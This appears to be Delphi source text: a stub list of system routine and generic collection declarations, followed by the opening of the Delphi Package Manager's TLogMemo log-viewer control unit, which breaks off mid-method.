function Abs(X: Extended): Extended; overload;
// Returns a pointer to a specified object.
function Addr(const X): Pointer;
// Prepares an existing file for adding text to the end.
function Append(var F: Text): Integer;
// Tests whether a Boolean expression is true.
function Assert(expr: Boolean): boolean; overload;
// Tests whether a Boolean expression is true.
function Assert(expr: Boolean; const msg: string): boolean; overload;
// Associates the name of an external file with a file variable.
function Assign(var t: Text; const s: PChar): Integer;
// Tests for a nil (unassigned) pointer or procedural variable.
function Assigned(const P): Boolean;
// Associates the name of an external file with a file variable.
function AssignFile(var F: File; FileName: String): Integer; overload;
// Associates the name of an external file with a file variable.
function AssignFile(var F: File; FileName: String; CodePage: Word): Integer; overload;
// AtomicCmpExchange is used for comparing and exchanging memory values.
function AtomicCmpExchange(var Target; NewValue: Integer; Comparand: Integer): Integer; overload;
// AtomicCmpExchange is used for comparing and exchanging memory values.
function AtomicCmpExchange(var Target; NewValue: Integer; Comparand: Integer; out Succeeded: Boolean): Integer; overload;
// AtomicDecrement is used for decrementing memory values.
function AtomicDecrement(var Target; Decrement: Integer = 1): Int64;
// AtomicExchange is used for exchanging memory values.
function AtomicExchange(var Target; Value: Integer): Int64;
// AtomicIncrement is used for incrementing memory values.
function AtomicIncrement(var Target; Increment: Integer = 1): Int64;
// Reads one or more records from an open file into a variable.
function BlockRead(var f: File; buffer: Pointer; recCnt: Longint; var recsRead: Longint): Longint;
// Writes one or more records from a variable to an open file.
function BlockWrite(var f: File; buffer: Pointer; recCnt: Longint; var recsWritten: Longint): Longint;
// Returns the character for a specified ASCII value.
function Chr(X: Byte): Char;
// Terminates the association between a file variable and an external file.
function Close(var t: Text): Integer;
// Terminates the association between file variable and an external disk file.
procedure CloseFile(var F: File);
// Concatenates two or more strings into one.
function Concat(S1, S2: string): string;
// Returns a substring of a string or a segment of a dynamic array.
function Copy(const S: string; From: integer = 1; Count: integer = MaxInt): string; overload;
// Returns a substring of a string or a segment of a dynamic array.
function Copy(S; Index, From: Integer): string; overload;
// Returns a substring of a string or a segment of a dynamic array.
function Copy(S): string; overload;
// Decrements a variable by 1 or N.
procedure Dec(var X); overload;
// Decrements a variable by 1 or N.
procedure Dec(var X; N: longint); overload;
// Removes a substring from a string.
procedure Delete(var S: string; Index, Count : Integer);
// Releases memory allocated for a dynamic variable.
procedure Dispose(var P: Pointer);
// Tests whether the file position is at the end of a file.
function Eof(var f: File): Boolean;
// Tests whether the file position is at the end of a file.
function EofFile(var f: File): Boolean;
// // Tests whether the text file position is at the end of a file.
function EofText(var t: Text): Boolean;
// Tests whether the file pointer is at the end of a line.
function Eoln(var t: Text): Boolean;
// Deletes an external file.
procedure Erase(var f: File);
// Removes an element from a Pascal set.
procedure Exclude(var S: set of Byte; element: Byte);
// Cancels the construction of an object (Turbo Pascal object model).
procedure Fail;
// Returns the current file position.
function FilePos(var f: File): Longint;
// Returns the number of records in a file.
function FileSize(var f: File): Longint;
// Fills contiguous bytes with a specified value.
procedure FillChar(var X; Count : Integer; Value : Byte);
// Uninitializes a dynamically allocated variable.
procedure Finalize(var V); overload;
// Uninitializes a dynamically allocated variable.
procedure Finalize(var V; Count: NativeUInt); overload;
// Empties the buffer of a text file opened for output.
function Flush(var t: Text): Integer;
// FreeMem frees a memory block.
function FreeMem(P: Pointer): Integer;
// Returns the current directory.
procedure GetDir(sDrive: Byte; var sDir: string);
// GetMem allocates a memory block.
function GetMem(Size: Integer): Pointer;
// GetMem allocates a memory block.
function GetMem(var Result: Pointer; Size: Integer): Pointer;
// Initiates abnormal termination of a program.
procedure Halt(Code: Integer); overload;
// Initiates abnormal termination of a program.
procedure Halt(); overload;
// Returns the high-order byte of X as an unsigned value.
function Hi(X: Integer): Byte;
// Returns the highest value in the range of an argument.
function High(const X): Integer;
// Increments an ordinal value by one or N.
procedure Inc(var X); overload;
// Increments an ordinal value by one or N.
procedure Inc(var X; N: longint); overload;
// Adds an element to a Delphi set.
procedure Include(var S: set of Byte; element: Byte);
// Initializes a dynamically allocated variable.
procedure Initialize(var V); overload;
// Initializes a dynamically allocated variable.
procedure Initialize(var V; Count: NativeUInt); overload;
// Inserts a substring into a string beginning at a specified point.
procedure Insert(Source : string; var S : string; Index : Integer);
// Returns the number of characters in a string or elements in an array.
function Length(const S: string): Integer;
// Returns the low order Byte of argument X.
function Lo(X: Integer): Byte;
// Returns the lowest value in a range.
function Low(const X): Integer;
// Enforces an ordering constraint on memory operations.
procedure MemoryBarrier;
// Returns the value of this expression: Int64((Int128(AValue) * Int128(AMul)) div Int128(ADiv)).
function MulDivInt64(AValue, AMul, ADiv: Int64): Int64; overload;
// Returns the value of this expression: Int64((Int128(AValue) * Int128(AMul)) div Int128(ADiv)).
function MulDivInt64(AValue, AMul, ADiv: Int64; out Remainder: Int64): Int64; overload;
// Creates a new dynamic variable and sets P to point to it.
procedure New(var X: Pointer);
// Returns true if argument is an odd number.
function Odd(X: Longint): Boolean; overload;
// Returns the ordinal value of an ordinal-type expression.
function Ord(X): Longint; overload;
// Returns the predecessor of the argument.
function Pred(const X): Variant;
// Converts a specified address to a pointer.
function Ptr(Address: Integer): Pointer;
// Read reads data from standard input.
procedure Read();
// Read reads data from a file.
procedure Read(var t: Text);
// Read reads a line of text from standard input.
procedure ReadLn();
// Read reads a line of text from a file.
procedure ReadLn(var t: Text);
// ReallocMem reallocates a memory block.
function ReallocMem(var P: Pointer; NewSize: Integer): Pointer;
// Changes the name of an external file.
procedure Rename(var f: File; newName: PChar);
// Opens an existing file.
procedure Reset(var F: File); overload;
// Opens an existing file.
procedure Reset(var F: File; RecSize: Integer); overload;
// Creates a new file and opens it.
procedure Rewrite(var F: File); overload;
// Creates a new file and opens it.
procedure Rewrite(var F: File; RecSize: Integer); overload;
// Returns the value of X rounded to the nearest whole number.
function Round(X: Extended): Int64;
// Stops execution and generates a runtime error.
procedure RunError(); overload;
// Stops execution and generates a runtime error.
procedure RunError(ErrorCode: Byte); overload;
// Moves the current position of a file to a specified component.
procedure Seek(var f: File; recNum: Cardinal);
// Returns the end-of-file status of a file, ignoring whitespace.
function SeekEof(): Boolean; overload;
// Returns the end-of-file status of a file, ignoring whitespace.
function SeekEof(var t: Text): Boolean; overload;
// Returns the end-of-line status of a file, ignoring whitespace.
function SeekEoln(): Boolean; overload;
// Returns the end-of-line status of a file, ignoring whitespace.
function SeekEoln(var t: Text): Boolean; overload;
// Sets the length of a string or dynamic-array variable.
procedure SetLength(var S; Length1: Integer);
// Sets the contents and length of the given string.
procedure SetString(var S: string; c : PChar; Length: Integer);
// Assigns an I/O buffer to a text file.
procedure SetTextBuf(var t: Text; p: Pointer; size: Longint);
// Returns the number of bytes occupied by a variable or type.
function SizeOf(const X) : Integer;
// Returns a sub-section of an array.
function Slice(var A: array of Variant; Count: Integer): array of Variant;
// Returns the square of a number.
function Sqr(X: Extended): Extended;
// Formats a string and returns it to a variable.
procedure Str(const X; var S);
// Returns the successor of an argument.
function Succ(const X): Variant;
// Exchanges high order byte with the low order byte of an integer or word.
function Swap(X: Integer): Integer;
// Truncates a real number to an integer.
function Trunc(X: Extended): Int64;
// Deletes all the records after the current file position.
procedure Truncate(var f: File);
// Returns the RTTI information for a given type.
function TypeHandle(const T): Pointer;
// Returns the RTTI information for a given type.
function TypeInfo(const T): Pointer;
// Deprecated routine.
function TypeOf(const X): Pointer; deprecated;
// Converts a string to a numeric representation.
procedure Val(const S: string; var Result; var Code: integer);
// Resizes a Variant array.
procedure VarArrayRedim(var A: Variant; HighBound: Integer);
// Converts a variant to specified type.
procedure VarCast(var Dest: Variant; Source: Variant; VarType: Integer);
// Empties a Variant so that it is unassigned.
procedure VarClear(var V: Variant);
// Copies a Variant to another Variant.
procedure VarCopy(var Dest: Variant; Source: Variant);
// Writes to either a typed file or a text file.
procedure Write();
// Writes to a text file and adds an end-of-line marker.
procedure WriteLn();
procedure Mark; deprecated;
procedure Release; deprecated;
function StrLong(val, width: Longint): ShortString;
function Str0Long(val: Longint): ShortString;
{$IFDEF DELPHI}
// Added for D7 compatibility
function Sin(x: Extended): Extended;
function Cos(x: Extended): Extended;
function Exp(x: Extended): Extended;
function Int(x: Extended): Extended;
function Frac(x: Extended): Extended;
{$ENDIF}
// Undocumented
// Returns the zero representation of type identifier T.
function Default(const T): T;
// True if T is a interface, string or dynamic array, or a record containing such. A class containing a managed type will return false.
function IsManagedType(const T): Boolean;
function HasWeakRef(const T): Boolean;
// Does the same thing as PTypeInfo(System.TypeInfo(T))^.Kind;, however because it is a compiler intrinsic the function is resolved at compiletime and conditional code that evaluates to false will be stripped by the compiler.
function GetTypeKind(const T): TTypeKind;
{ True if Value is a constant, false if not.
This helps the compiler to eliminate dead code because the function is evaluated at compile time.
This is really only useful in inline functions, where it allows for shorter generated code. }
function IsConstValue(const Value): Boolean;
// Include-based template stub classes
type
__Parent = class()
constructor Create();
destructor Destroy();
procedure Free();
end;
_GenVector = class(__Parent)
procedure SetValue(Index: __CollectionIndexType; const e: _VectorValueType);
procedure SetCapacity(const ACapacity: __CollectionIndexType);
// Increases the capacity of the list to ensure that it can hold at least the number of elements specified
procedure EnsureCapacity(ASize: __CollectionIndexType);
// Returns the number of elements in the collection
function GetSize(): __CollectionIndexType;
// Sets the number of elements in the collection
procedure SetSize(const ASize: __CollectionIndexType);
// Returns True if the collection contains no elements
function IsEmpty(): Boolean;
// Returns True if the collection contains the specified element
function Contains(const e: _VectorValueType): Boolean;
// Calls the delegate for each element in the collection
procedure ForEach(Delegate: _VectorDelegate; Data: Pointer); overload;
// Calls the delegate for each element in the collection
procedure ForEach(Callback: _VectorCallback; Data: Pointer); overload;
// Searches for element which satisfies the condition _VectorFound(element, Pattern) and returns its index or -1 if no such element.
function Find(const Pattern: _VectorSearchType): __CollectionIndexType;
// Searches for element which satisfies the condition _VectorFound(element, Pattern) starting from last one and returns its index or -1 if no such element.
function FindLast(const Pattern: _VectorSearchType): __CollectionIndexType;
// Appends the element as the last element of the vector and returns True
function Add(const e: _VectorValueType): Boolean;
{/ Removes the specified element from the collection.
Returns True if the collection contained the element./}
function Remove(const e: _VectorValueType): Boolean;
// Removes all elements from the collection
procedure Clear();
{/ Returns the element at the specified position in the list.
Throws an error on invalid index if dsRangeCheck was included in the list options before instantiation. }
function Get(Index: __CollectionIndexType): _VectorValueType;
{/ Returns the address of the element at the specified position in the list.
Throws an error on invalid index if dsRangeCheck was included in the list options before instantiation. }
function GetPtr(Index: __CollectionIndexType): _PVectorValueType;
{/ Replaces the element at the specified position in the list with the specified element.
Returns the element previously at the specified position.
Throws an error on invalid index if dsRangeCheck was included in the list options when instantiation. }
function Put(Index: __CollectionIndexType; const e: _VectorValueType): _VectorValueType;
{/ Inserts the element at the specified position in the list shifting the element currently at that
position (if any) and any subsequent elements to the right.
Throws an error on invalid index if dsRangeCheck was included in the list options when instantiation. }
procedure Insert(Index: __CollectionIndexType; const e: _VectorValueType);
{/ Removes the element at the specified position in the list shifting any subsequent elements
to the left.
Returns the element that was removed from the list. }
function RemoveBy(Index: __CollectionIndexType): _VectorValueType;
{/ Returns the index of the first occurrence of the specified element in the list,
or -1 if the list does not contain the element. }
function IndexOf(const e: _VectorValueType): __CollectionIndexType;
{/ Returns the index of the last occurrence of the specified element in the list,
or -1 if the list does not contain the element. }
function LastIndexOf(const e: _VectorValueType): __CollectionIndexType;
// Number of elements
property Size: __CollectionIndexType read FSize write SetSize;
// Values retrieved by index
property Values[Index: __CollectionIndexType]: _VectorValueType read Get write SetValue; default;
// Pointer to values retrieved by index
property ValuesPtr[Index: __CollectionIndexType]: _PVectorValueType read GetPtr;
// Number of elements which the collection able to hold without memory allocations
property Capacity: __CollectionIndexType read FCapacity write SetCapacity;
end;
_HashMapPair = record Key: _HashMapKeyType; Value: _HashMapValueType; end;
_GenHashMap = class(__Parent)
function GetLoadFactor(): Single;
protected
FValues: _HashMapKeys;
strict protected
// Capacity of the hash map. Should be a power of 2.
FCapacity,
// Capacity mask
FMask: __CollectionIndexType;
// Threshold of number of entries to capacity ratio after which capacity doubles. If zero automatic resizing doesn't occur.
FMaxLoadFactor: Single;
// Grow step of bucket array
FBucketGrowStep: __CollectionIndexType;
// Number of entries
FSize: __CollectionIndexType;
function GetIndexInBucket(const Key: _HashMapKeyType; out BucketIndex: __CollectionIndexType): __CollectionIndexType;
function GetValue(const Key: _HashMapKeyType): _HashMapValueType;
procedure SetValue(const Key: _HashMapKeyType; const Value: _HashMapValueType);
procedure SetCapacity(ACapacity: __CollectionIndexType);
public
constructor Create(); overload;
// Create a map instance with the specified initial capacity. It's recommended to specify capacity to avoid expensive resizing of internal data structures.
constructor Create(Capacity: __CollectionIndexType); overload;
destructor Destroy(); override;
// Returns a forward iterator over map
function GetIterator(): _GenHashMapIterator;
// Returns True if the hash map contains the key
function Contains(const Key: _HashMapKeyType): Boolean;
// Returns True if the hash map contains the value
function ContainsValue(const Value: _HashMapValueType): Boolean;
// Removes value for the specified key and returns True if there was value for the key
function Remove(const Key: _HashMapKeyType): Boolean;
// Calls a delegate for each value stored in the map
procedure ForEach(Delegate: _HashMapDelegate; Data: Pointer);
// Returns True if the collection contains no elements
function IsEmpty(): Boolean;
// Removes all elements from the collection
procedure Clear();
// Values retrieved by key
property Values[const Key: _HashMapKeyType]: _HashMapValueType read GetValue write SetValue; default;
// Determines hash function values range which is currently used.
property Capacity: __CollectionIndexType read FCapacity;
// Threshold of number of entries to capacity ratio after which capacity doubles. If zero automatic resizing doesn't occur.
property MaxLoadFactor: Single read FMaxLoadFactor write FMaxLoadFactor;
// Current number of entries to capacity ratio
property LoadFactor: Single read GetLoadFactor;
// Number of entries
property Size: __CollectionIndexType read FSize write FSize;
end;
_GenHashMapIterator = class(__Parent)
// Advances the iterator to next item and returns True on success or False if no items left
function GoToNext(): Boolean;
// Returns current key performing no iterator state changes
function CurrentKey(): _HashMapKeyType;
// Returns current value performing no iterator state changes
function CurrentValue(): _HashMapValueType;
// Returns True if there is more items
function HasNext(): Boolean;
// Advances the iterator to next item and returns it.
// If no items left nil be returned for nullable collection (dsNullable option is defined) or error generated otherwise.
function Next(): _HashMapPair;
end;
_LinkedListNodePTR = ^_LinkedListNode;
_LinkedListNode = record
// List value
V: _LinkedListValueType;
// Pointer to next node
Next: _LinkedListNodePTR;
end;
_GenLinkedList = class(__Parent)
protected
FFirst, FLast: _LinkedListNodePTR;
FSize: __CollectionIndexType;
// Returns list value at the specified position
procedure SetValue(Index: __CollectionIndexType; const e: _LinkedListValueType); // inline
// Returns the value assotiated with node p
function GetNodeValue(p: _LinkedListNodePTR): _LinkedListValueType; // inline
public
// Constructs a new empty list
constructor Create();
// Frees all nodes and destroys the list
destructor Destroy(); override;
{ Collection interface }
// Returns the number of elements in the collection
function GetSize(): __CollectionIndexType; // inline
// Returns True if the collection contains no elements
function IsEmpty(): Boolean; // inline
// Returns True if the collection contains the specified element
function Contains(const e: _LinkedListValueType): Boolean;
// Calls the delegate for each element in the collection
procedure ForEach(Delegate: _LinkedListDelegate; Data: Pointer);
{/ Ensures that the collection contains the specified element.
Returns True if the element was successfully added or False if the collection
already contains the element and duplicates are not allowed.
Otherwise the method should raise an error. /}
function Add(const e: _LinkedListValueType): Boolean; // inline
{/ Removes the specified element from the collection.
Returns True if the collection contained the element./}
function Remove(const e: _LinkedListValueType): Boolean;
// Frees all nodes makes the list empty
procedure Clear(); // inline
// Number of elements
property Size: __CollectionIndexType read FSize;
{ List interface }
{/ Returns the element at the specified position in the list.
Throws an error on invalid index if dsRangeCheck was included in the list options before instantiation. }
function Get(Index: __CollectionIndexType): _LinkedListValueType; // inline
{/ Replaces the element at the specified position in the list with the specified element.
Returns the element previously at the specified position.
Throws an error on invalid index if dsRangeCheck was included in the list options when instantiation. }
function Put(Index: __CollectionIndexType; const e: _LinkedListValueType): _LinkedListValueType; // inline
{/ Inserts the element at the specified position in the list
Throws an error on invalid index if dsRangeCheck was included in the list options when instantiation. }
procedure Insert(Index: __CollectionIndexType; const e: _LinkedListValueType);
{/ Removes the element at the specified position in the list
Returns the element that was removed from the list. }
function RemoveBy(Index: __CollectionIndexType): _LinkedListValueType; // inline
{/ Returns the index of the first occurrence of the specified element in the list,
or -1 if the list does not contain the element. }
function IndexOf(const e: _LinkedListValueType): __CollectionIndexType; // inline
{/ Returns the index of the last occurrence of the specified element in the list,
or -1 if the list does not contain the element. }
function LastIndexOf(const e: _LinkedListValueType): __CollectionIndexType; // inline
// Values retrieved by index
property Values[Index: __CollectionIndexType]: _LinkedListValueType read Get write SetValue; default;
{ Linked List interface }
// Creates and returns a new stand alone node with the same value as p
function NewNode(const e: _LinkedListValueType): _LinkedListNodePTR; // inline
// Adds a new node p to the end of the list
procedure AddNode(p: _LinkedListNodePTR); // inline
// Inserts a new element e to the beginning of the list
procedure InsertNodeFirst(const e: _LinkedListValueType); // inline
// Adds a new element e after the specified node
procedure InsertNode(Node: _LinkedListNodePTR; const e: _LinkedListValueType); // inline
// Returns first occured node containing the element
function GetNode(const e: _LinkedListValueType): _LinkedListNodePTR; // inline
// Returns note at the specified index
function GetNodeBy(Index: __CollectionIndexType): _LinkedListNodePTR; // inline
// Returns a node next to p or nil if p is the last node
function GetNextNode(p: _LinkedListNodePTR): _LinkedListNodePTR; // inline
// Returns a node next to p or first node if p is the last node
function GetNextNodeCyclic(p: _LinkedListNodePTR): _LinkedListNodePTR; // inline
// Removes p and returns next node
function RemoveNode(p: _LinkedListNodePTR): _LinkedListNodePTR;
end;
implementation
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Controls.LogMemo;
interface
uses
System.Classes,
System.Types,
System.Generics.Collections,
WinApi.Messages,
WinApi.Windows,
Vcl.Graphics,
Vcl.Controls,
Vcl.StdCtrls,
Vcl.Forms,
Vcl.Styles,
Vcl.Themes;
type
TPaintRowState = (rsNormal, rsHot, rsSelected, rsFocusedNormal, rsFocusedHot, rsFocusedSelected);
TLogMessageType = (mtDebug,mtError, mtInformation, mtImportantInformation, mtSuccess, mtImportantSuccess, mtVerbose, mtImportantVerbose, mtWarning, mtImportantWarning);
TMessageColors = array[TLogMessageType] of TColor;
TThemeType = (Light, Dark);
TLogMemo = class(TCustomControl)
private
FBorderStyle : TBorderStyle;
FPaintBmp : TBitmap;
FItems : TStringList;
FRowRects : TList<TRect>;
FRowHeight: integer;
FVScrollPos : integer;
FHScrollPos : integer;
FVisibleRows : integer; //number of rows we can see
FSelectableRows : integer;
FHoverRow : integer; //mouse over row in view (add to top row to get index)
FTopRow : Int64; //this is the top row cursor .
FCurrentRow : Int64;
FMaxWidth : integer;
FUpdating : boolean;
FUpdatingScrollBars : boolean;
FStyleServices : TCustomStyleServices;
FThemeType : TThemeType;
FMessageColors : array[TThemeType] of TMessageColors;
function GetText: string;
procedure SetStyleServices(const Value: TCustomStyleServices);
protected
procedure SetBorderStyle(const Value: TBorderStyle);
procedure SetRowHeight(const Value: integer);
procedure UpdateVisibleRows;
function RowInView(const row: integer): boolean;
procedure ScrollInView(const index : integer; const updateSBs : boolean = true);
procedure Loaded; override;
procedure Resize; override;
procedure Paint;override;
procedure DoPaintRow(const index : integer; const state : TPaintRowState; const copyCanvas : boolean = true);
function GetRowPaintState(const rowIdx : integer) : TPaintRowState;
procedure UpdateScrollBars;
procedure ScrollBarScroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer);
function GetViewRow(const row : integer) : integer;
function IsAtTop : boolean;
function IsAtEnd : boolean;
function GetRowFromY(const Y : integer) : integer;
procedure UpdateHoverRow(const X, Y : integer);
function GetMaxWidth : integer;
function GetRowCount : integer;
procedure RowsChanged(Sender: TObject);
procedure WMEraseBkgnd(var Message: TWmEraseBkgnd); message WM_ERASEBKGND;
procedure WMGetDlgCode(var Message: TWMGetDlgCode); message WM_GETDLGCODE;
procedure WMVScroll(var Message: TWMVScroll); message WM_VSCROLL;
procedure WMHScroll(var Message: TWMVScroll); message WM_HSCROLL;
procedure CMEnter(var Message: TCMEnter); message CM_ENTER;
procedure CMExit(var Message: TCMExit); message CM_EXIT;
procedure CMMouseEnter(var Msg: TMessage); message CM_MouseEnter;
procedure CMMouseLeave(var Msg: TMessage); message CM_MouseLeave;
procedure CMStyleChanged(var Message: TMessage); message CM_STYLECHANGED;
procedure DoLineUp(const fromScrollBar : boolean);
procedure DoLineDown(const fromScrollBar : boolean);
procedure DoPageUp(const fromScrollBar : boolean; const newScrollPostition : integer);
procedure DoPageDown(const fromScrollBar : boolean; const newScrollPostition : integer);
procedure DoGoTop;
procedure DoGoBottom;
procedure DoTrack(const newScrollPostition : integer);
function DoMouseWheelDown(Shift: TShiftState; MousePos: TPoint): Boolean; override;
function DoMouseWheelUp(Shift: TShiftState; MousePos: TPoint): Boolean; override;
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer); override;
procedure MouseMove(Shift: TShiftState; X: Integer; Y: Integer); override;
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure CreateHandle; override;
procedure CreateParams(var Params: TCreateParams); override;
procedure CreateWnd; override;
procedure ChangeScale(M, D: Integer{$if CompilerVersion >= 31}; isDpiChange: Boolean{$ifend}); override;
public
constructor Create(AOwner : TComponent);override;
destructor Destroy;override;
class constructor Create;
class destructor Destroy;
procedure Clear;
procedure AddRow(const value : string; const messageType : TLogMessageType);
procedure CheckTheme;
property RowCount : integer read GetRowCount;
property StyleServices : TCustomStyleServices read FStyleServices write SetStyleServices;
published
property Align;
property Anchors;
property BevelEdges;
property BevelInner;
property BevelOuter;
property BevelKind;
property BevelWidth;
property BorderStyle: TBorderStyle read FBorderStyle write SetBorderStyle default bsSingle;
property BorderWidth;
property Color default clWindow;
property Enabled;
property Font;
property Height default 100;
property ParentBackground;
property ParentColor;
property ParentFont;
{$IF CompilerVersion >= 24.0}
{$LEGACYIFEND ON}
property StyleElements;
{$IFEND}
property TabOrder;
property TabStop default True;
property Width default 100;
property Visible;
property RowHeight : integer read FRowHeight write SetRowHeight;
property Text : string read GetText;
end;
implementation
uses
System.SysUtils,
System.Math,
System.UITypes,
DPM.Core.Utils.Strings;
{ TVSoftColorMemo }
//copied from StyleUtils.inc
function TextWidth(Canvas: TCanvas; const AText: string; Flags: Integer = 0): Integer;
var
R: TRect;
begin
R := Rect(0, 0, 0, 0);
Winapi.Windows.DrawText(Canvas.Handle, PChar(AText), Length(AText), R, DT_CALCRECT or Flags);
Result := R.Right;
end;
procedure TLogMemo.AddRow(const value: string; const messageType : TLogMessageType);
var
w : integer;
idx : integer;
begin
FPaintBmp.Canvas.Font.Assign(Self.Font);
if messageType in [mtImportantInformation, mtImportantSuccess, mtImportantVerbose, mtImportantWarning,mtError] then
FPaintBmp.Canvas.Font.Style := [fsBold];
w := FPaintBmp.Canvas.TextWidth(value);
FMaxWidth := Max(w, FMaxWidth);
UpdateScrollBars;
idx := FItems.AddObject(value, TObject(NativeUInt(messageType)) );
ScrollInView(idx);
end;
procedure TLogMemo.Clear;
begin
FMaxWidth := -1;
FItems.Clear;
end;
procedure TLogMemo.CMEnter(var Message: TCMEnter);
begin
inherited;
Invalidate;
end;
procedure TLogMemo.CMExit(var Message: TCMExit);
begin
FHoverRow := -1;
Invalidate;
inherited;
end;
procedure TLogMemo.CMMouseEnter(var Msg: TMessage);
begin
inherited;
end;
procedure TLogMemo.CMMouseLeave(var Msg: TMessage);
var
oldHoverRow : integer;
rowState : TPaintRowState;
begin
oldHoverRow := FHoverRow;
FHoverRow := -1;
if (oldHoverRow <> -1) and RowInView(oldHoverRow) then
begin
rowState := GetRowPaintState(oldHoverRow);
DoPaintRow(oldHoverRow, rowState);
end;
inherited;
end;
procedure TLogMemo.CMStyleChanged(var Message: TMessage);
begin
inherited;
CheckTheme;
end;
class constructor TLogMemo.Create;
begin
TCustomStyleEngine.RegisterStyleHook(TLogMemo, TScrollingStyleHook);
end;
procedure TLogMemo.CreateHandle;
begin
inherited;
Resize;
end;
procedure TLogMemo.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
if (FBorderStyle = bsSingle) then
begin
Params.Style := Params.Style or WS_BORDER;
// Params.ExStyle := Params.ExStyle or WS_EX_CLIENTEDGE;
end;
Params.Style := Params.Style + WS_VSCROLL + WS_HSCROLL;
with Params do
WindowClass.style := WindowClass.style and not (CS_HREDRAW or CS_VREDRAW);
end;
procedure TLogMemo.CreateWnd;
begin
inherited;
UpdateVisibleRows;
Invalidate;
end;
constructor TLogMemo.Create(AOwner: TComponent);
begin
inherited;
FItems := TStringList.Create;
FItems.OnChange := RowsChanged;
FPaintBmp := TBitmap.Create;
FPaintBmp.PixelFormat := pf32bit;
FRowRects := TList<TRect>.Create;
FBorderStyle := bsSingle;
ControlStyle := [csCaptureMouse, csClickEvents, csPannable];
FVScrollPos := 0;
FHoverRow := -1;
FCurrentRow := -1;
FRowHeight := 16;
TabStop := true;
ParentBackground := false;
ParentColor := true;
ParentDoubleBuffered := false;
ParentFont := true;
DoubleBuffered := false;
BevelInner := bvNone;
BevelOuter := bvNone;
Ctl3D := false;
FMaxWidth := -1;
FStyleServices := Vcl.Themes.StyleServices;
FMessageColors[TThemeType.Light][mtDebug] := $00BBBBBB;
FMessageColors[TThemeType.Light][mtError] := $00423CDB;
FMessageColors[TThemeType.Light][mtInformation] := $00444444;
FMessageColors[TThemeType.Light][mtImportantInformation] := $00444444;
FMessageColors[TThemeType.Light][mtSuccess] := TColorRec.Green;
FMessageColors[TThemeType.Light][mtImportantSuccess] := TColorRec.Green;
FMessageColors[TThemeType.Light][mtVerbose] := FMessageColors[TThemeType.Light][mtInformation];
FMessageColors[TThemeType.Light][mtImportantVerbose] := FMessageColors[TThemeType.Light][mtImportantInformation];
FMessageColors[TThemeType.Light][mtWarning] := TColorRec.Orange;
FMessageColors[TThemeType.Light][mtImportantWarning] := TColorRec.Orange;
FMessageColors[TThemeType.Dark][mtDebug] := TColorRec.DarkGray;
FMessageColors[TThemeType.Dark][mtError] := $006464FA;
FMessageColors[TThemeType.Dark][mtInformation] := $00CCCCCC;
FMessageColors[TThemeType.Dark][mtImportantInformation] := $00CCCCCC;
FMessageColors[TThemeType.Dark][mtSuccess] := $0084D188;
FMessageColors[TThemeType.Dark][mtImportantSuccess] := $0084D188;
FMessageColors[TThemeType.Dark][mtVerbose] := FMessageColors[TThemeType.Light][mtInformation];
FMessageColors[TThemeType.Dark][mtImportantVerbose] := FMessageColors[TThemeType.Light][mtImportantInformation];
FMessageColors[TThemeType.Dark][mtWarning] := TColorRec.Orange;
FMessageColors[TThemeType.Dark][mtImportantWarning] := TColorRec.Orange;
FThemeType := TThemeType.Light;
end;
destructor TLogMemo.Destroy;
begin
FRowRects.Free;
FPaintBmp.Free;
FItems.Free;
inherited;
end;
class destructor TLogMemo.Destroy;
begin
TCustomStyleEngine.UnRegisterStyleHook(TLogMemo, TScrollingStyleHook);
end;
procedure TLogMemo.DoGoBottom;
var
oldTopRow : integer;
oldCurrentRow : integer;
rowState : TPaintRowState;
begin
if RowCount = 0 then
exit;
oldTopRow := FTopRow;
oldCurrentRow := FCurrentRow;
FCurrentRow := RowCount - 1;
FTopRow := RowCount - FSelectableRows;
FVScrollPos := RowCount -1;
if FTopRow <> oldTopRow then
//need a full repaint.
Repaint
else if FCurrentRow <> oldCurrentRow then
begin
rowState := GetRowPaintState(oldCurrentRow);
DoPaintRow(oldCurrentRow, rowState);
rowState := GetRowPaintState(FCurrentRow);
DoPaintRow(FCurrentRow , rowState);
end;
UpdateScrollBars;
end;
procedure TLogMemo.DoGoTop;
var
oldCurrentRow : integer;
oldTopRow : integer;
rowState : TPaintRowState;
begin
if RowCount = 0 then
exit;
oldCurrentRow := FCurrentRow;
oldTopRow := FTopRow;
if (oldTopRow <> 0) or (oldCurrentRow <> 0) then
begin
//some work to do.
if oldTopRow = 0 then
begin
//no scrolling so we can just paint the rows that changed.
FCurrentRow := 0;
FTopRow := 0;
rowState := GetRowPaintState(oldCurrentRow);
DoPaintRow(oldCurrentRow + oldTopRow, rowState);
rowState := GetRowPaintState(0);
DoPaintRow(0 , rowState);
end
else
begin
FTopRow := 0;
FCurrentRow := 0;
Repaint;
end;
FVScrollPos := 0;
UpdateScrollBars;
end;
end;
procedure TLogMemo.DoLineDown(const fromScrollBar: boolean);
var
oldCurrentRow : integer;
rowState : TPaintRowState;
begin
if RowCount = 0 then
exit;
oldCurrentRow := FCurrentRow;
//behavior depends on whether we are using the keyboard or the mouse on the scrollbar.
//when we use the scrollbar, the current row doesn't change, we just scroll the view.
if fromScrollBar then
begin
if (FTopRow + FSelectableRows -1) < (RowCount -1) then
Inc(FTopRow)
else
exit;
if FHoverRow <> -1 then
Inc(FHoverRow);
FVScrollPos := FTopRow;
//we scrolled so full paint.
Repaint;
UpdateScrollBars;
end
else //from keyboard
begin
if RowInView(FCurrentRow) then
begin
//if the currentRow is visible, then we can try to move the current row if it's not at the bottom.
if (FCurrentRow - FTopRow < FSelectableRows - 1) then
begin
Inc(FCurrentRow);
//no scrolling required so just paint the affected rows.
//there may not have been a current row before.
if (oldCurrentRow >= 0) and RowInView(oldCurrentRow) then
